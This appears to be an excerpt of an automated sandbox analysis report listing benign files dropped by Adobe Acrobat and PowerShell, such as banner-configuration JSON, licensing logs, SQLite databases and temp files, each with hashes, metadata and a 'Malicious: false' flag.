SHA-512:	4BD1D7370685326FEADF71A99DA1A832B42A7BFCDB7E7699D76A9DD227C7692F58222B1517008D50FCFA092FC11D185C682C92D44A7B7BBA1A5CB59C11C43EAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277003554807025
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJf+dPeUkwRe9:YvXKX0obQ2Zc0v98G28Ukee9
MD5:	23381C4B2839194709C1903737B4F03B
SHA1:	20B502AEC3C8AF4FCB57176CF256ABF53BD5CD21
SHA-256:	2FED954DB164884D450E9595568171EE5C16CC69499F9F6D5DAA536F5EAE0C51
SHA-512:	92FEDF02FBB8D4BB6C73F4861E2534D07AF61E32E3DDD3544F3205B984B3E8D93B85800B5254E33D21E8502B356B24F2A811BDD81F99217EA5D06EF3C685E664
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2736414894406956
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfbPtdPeUkwRe9:YvXKX0obQ2Zc0v98GDV8Ukee9
MD5:	E211CA1130863423267FBE3D4A694279
SHA1:	C95D3BA602B48797A3E1A260FBA3E4192A61832A
SHA-256:	1AFB0B0D03BF99C21C8E61D6D448CEAAB0B3352A3E764003DB6413F5C3A6252B
SHA-512:	AC06DB74D0DD3A4A46CC54916417043905232823093909E98936187108B0D893B7599642282944670349F4F9D4E4951754217550D553EA982A1827DD378C9E93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.27750513472895
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJf21rPeUkwRe9:YvXKX0obQ2Zc0v98G+16Ukee9
MD5:	3E006D968966B562090BAEA58807F313
SHA1:	B26AFD50CC773F0B278CB3F34B8440AE7921107E
SHA-256:	F3F16F27DB5D178BF2BEF95DCD05B1B421B190BFB273F037B7CA937706DDC5B9
SHA-512:	732B1CFF427FB2377EC3C4F5F6D2D35B31233E3F8AA4C7B19161011EA775597D3AEC5926882B329334388725FF357E5C390B8F3391288316C6A9012D53379012
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661064601595456
Encrypted:	false
SSDEEP:	24:Yv6XnJzv9JamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSjYY:YvmdlVBgkDMUJUAh8cvMkY
MD5:	6B0BE4826779ECD855CEAF2D64654553
SHA1:	9D939618CAD401D65327D7E5243366970A9442F1
SHA-256:	F06D307732F3F7713C78BCCABD8C7E42FB5FCFD7CE20440884461E1F186CF7B1
SHA-512:	80562884841F8B4CC813BC2D666EE2CE271174CD22C78F37601867422A0008119DECDA1EC5293C918DBB2FB60ABE1C3A46953771601582AFFA5EFE620F5754A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255575156135027
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJfshHHrPeUkwRe9:YvXKX0obQ2Zc0v98GUUUkee9
MD5:	96CC2C2C0C2651B00F11A5E80B7913BF
SHA1:	3292BEC3B7A0A2D14FD567F19EB79524930F2F08
SHA-256:	1F50E8B8C8C5C69EA72B56A63D9E5BEB757E71BE39F8E3D433C179FE04998153
SHA-512:	C66796952E34E7BCFA081D5B9CF306AA031E757315AAAE4D01C2D57EC442C009775712270D25142FA85484A6974E6F29D6CD1214E563A3CE956E3A61A8781582
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266384001953992
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0oz/WXNVnVoZcg1vRcR0YIzoAvJTqgFCrPeUkwRe9:YvXKX0obQ2Zc0v98GTq16Ukee9
MD5:	5B302B80C143A62D6A5B0F46BF50E533
SHA1:	A322ABA2DDBB2134EE7AB149A01A756F3CE10B5F
SHA-256:	F771D1DCE9FA80F7D091AB3DB254FA920B3E88481CA4249D15FC21232C48A27F
SHA-512:	FDE1556B1B1A0BA2FEBA366EE9EDF3F3E4C683AA51AB1EB55DADA78E0474DB6A577A4270E293AAA1F2FE1E0EFEE840E984C15BE647C89135F7C03B437B96F136
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e7465c6-2ef9-4743-83e4-de4e0158f0f0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752993333,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148742430323829
Encrypted:	false
SSDEEP:	48:Yo4OOV0enEwXm3Ab8+smwgq4gJSJvePeB9mD:P4OG0enEi4Ab8+dUkJmD
MD5:	5D3972ADCE97ED8B2E4CB98A8F1C5155
SHA1:	8674667BA8E0534E2C0138D6947708E7930E9BD2
SHA-256:	2952E67D81218B1CB155C27D7A3BA4E5C75AADC345913171AE22D8B785F2261E
SHA-512:	2DD7E5B975A60E344488F21288D5876D96083600B2DAC2FAD17A188AADE23918B870A6B715778B00BDC9AB2F0F141F9D8C1ABC4B1BD71D6E7B983CBB12687E43
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6db103ed73834f070b0b9a67a6fc0769","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574642000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"83e92d96713f1683cfddb1c8be293bed","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574642000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5f685b74d28207c84eeb49b16502f08e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574642000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7895a7b199ab5c154ba77d7295fae0b9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574642000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c654a35e9ba8da5aee31b9985beda078","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574642000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5a4b2d31ef385e8dbd0fdc8245869dd6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1889009623503268
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUk1SvR9H9vxFGiDIAEkGVvp4B:lNVmswUUUUUUUU6+FGSIt8
MD5:	BE65789ED7956E40D6C7CF9A08BEB411
SHA1:	A223CF4AAD2FCE0A1C376EA471EE7F003E888D2F
SHA-256:	878F019D9B7C4936BAE4B948F1398408359E8C238FB77E19E43BA0CBFEF75CBC
SHA-512:	F1E91370961144B400A4EE43938372035C9442D202F448D87D2745F9C10F3BA5428AD5248A7BD4EC4C11796A186CB1C8673996B0E31533CF305D4CCC1D4D6EB2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606162032192455
Encrypted:	false
SSDEEP:	48:7M5KUUUUUUUUUUktvR9H9vxFGiDIAEkGVveqFl2GL7msT:7DUUUUUUUUUUwFGSItQKVmsT
MD5:	F2C4A965FD89FF3B12A733A82EB72419
SHA1:	85B99A29A9820597A4C2E6A7F14417ADF88646AE
SHA-256:	7A7EF81AA51CF8B477E347DFD4C64549E69AA09D8CD73D957FCD0DCA5F074C55
SHA-512:	117408F25042069F653040C60F450D5E29CCF2CA742F987EAE1E35371072516D49B2734422C0CA278B75BE7331500A0D98443313B0B526991C8BB39950044628
Malicious:	false
Preview:	.... .c.....m..y......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJ/tN895hDins2mhBIjsg0thdZVuVYyu:6a6TZ44ADEJ/3895h0sNBUOwVK
MD5:	02E609A9DC8B69544C07F543CAA14B05
SHA1:	FF62792B56E8701D21FFEC75197245F233A3CE1D
SHA-256:	FB2409A5FEFB2ED4DA0F8FBF9E388C89E5CFF1CC0F492D2DA40CC613BF9DFDF5
SHA-512:	D2B365D71BCBD0AF272752EEE55D9A2F8349F2909DA3AC178A3DEFEABAECC82413593B4AA8C0F6FC93EAC560A36FD3B7366FDCD703BD0AC83A68E5134150E5D8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf9f1e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClG:Qw946cPbiOxDlbYnuRKd3
MD5:	157FB66B02A831C0FC18499FD76BA31C
SHA1:	EF8A880F29D7ABDD691F46E39440FD7931CE3C06
SHA-256:	07D44B148CB71730B557CB9C8B070A7D355535167D6A48E1BE752AFB2F743E9A
SHA-512:	0F2B4F1E1D8F974CC9A73DF585660F6CD55E3E19CA928F46E3BD067EB459755A99946B63BA8866F8B51C78544541003B3EE8BF93A1782C8AFC7D71EEE12C2162
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.5.0.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1yie1hyj.ty5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dynacoz0.1a0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-50-39-098.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366714037106097
Encrypted:	false
SSDEEP:	384:quQPIK1f2sxIAdfOEaIVaYLPT4lLaNd/ed8giqaRhbau4xta40eVB4BIpOA3TpVz:GM53bR/WM
MD5:	FD13E8A6459D156BA13F3368C0815DA8
SHA1:	B63DA0CB804FA7D1DAD9E6C08BD208701599F031
SHA-256:	B75150731EE90F5D25828467885675D444A7C1D94059BE531BE04CBA4CF0AE42
SHA-512:	1F3687EFBD1752D4DC9B305C47EB09E70FA6C6A4DACED290C4877E967792166340E6715F0B9CDA56D9517D68BA102DD0017AE166D4C5ACA2C3F5BD03450A2EFF
Malicious:	false
Preview:	SessionID=18c60cb6-f852-4e12-b3ce-4ff7bb12ab53.1736574639119 Timestamp=2025-01-11T00:50:39:119-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=18c60cb6-f852-4e12-b3ce-4ff7bb12ab53.1736574639119 Timestamp=2025-01-11T00:50:39:158-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=18c60cb6-f852-4e12-b3ce-4ff7bb12ab53.1736574639119 Timestamp=2025-01-11T00:50:39:158-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=18c60cb6-f852-4e12-b3ce-4ff7bb12ab53.1736574639119 Timestamp=2025-01-11T00:50:39:158-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=18c60cb6-f852-4e12-b3ce-4ff7bb12ab53.1736574639119 Timestamp=2025-01-11T00:50:39:158-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3870925666122895
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r3:L
MD5:	CA70CCCDB97C2F2CA89BA0FE26A40AED
SHA1:	594406BE92C6D1F61CE99105BB8E8B78F8F20CE7
SHA-256:	1455DD17FB550D6250C52D48F0956BAEDFE54B3D11C5067F1F88507CE46B095B
SHA-512:	7A4305549CC60CD162E87BD0DCCAFC235062D743443A5D0B789CADCD055012FA53576007DA0C845F6423F783E927133B3902172CBF8A1CDDF6F7369FE5D3E5B6
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\33191603-d47a-45ca-af12-4288cc6dbeb0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZkwYIGNPJHdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZkwZGD3mlind9i4ufFXpAXkru
MD5:	F799B208DAA489EA826062BC0872B796
SHA1:	25343952CE0181F155F281669EB69B6F3127D062
SHA-256:	836876A004E287EE286597A028B68335DC55BEA7806A5B20B9495E4ACFDD4545
SHA-512:	B2FF577C84C6A6962FDE288870AFEC9C7220A801007A9009620E0C48593D777227C99C67456DEA81AA794A604B2DCB17A1BD4487363B55E543D680FE4D58C7E2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4fa92808-0a09-46f5-9604-f329e4012efb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
